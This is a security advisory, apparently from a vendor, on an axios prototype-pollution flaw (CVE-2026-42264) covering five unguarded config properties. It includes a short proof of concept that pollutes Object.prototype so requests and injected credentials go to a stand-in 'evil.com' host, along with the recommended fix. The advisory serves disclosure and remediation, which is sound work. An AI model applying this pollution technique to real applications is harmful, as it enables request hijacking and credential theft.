CVE-2026-42264

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

• Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
• Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
• SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
• Code execution: Attacker-supplied functions execute during HTTP redirects.
• Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

CVE-2026-42264 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.15.2); upgrading removes the vulnerable code path.

Kodem intelligence

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

1. What is CVE-2026-42264? CVE-2026-42264 is a high-severity security vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.15.2. It is fixed in 1.15.2.
2. How severe is CVE-2026-42264? CVE-2026-42264 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of axios are affected by CVE-2026-42264? axios (npm) versions >= 1.0.0, < 1.15.2 is affected.
4. Is there a fix for CVE-2026-42264? Yes. CVE-2026-42264 is fixed in 1.15.2. Upgrade to this version or later.
5. Is CVE-2026-42264 exploitable, and should I be worried? Whether CVE-2026-42264 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42264 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42264? Upgrade axios to 1.15.2 or later.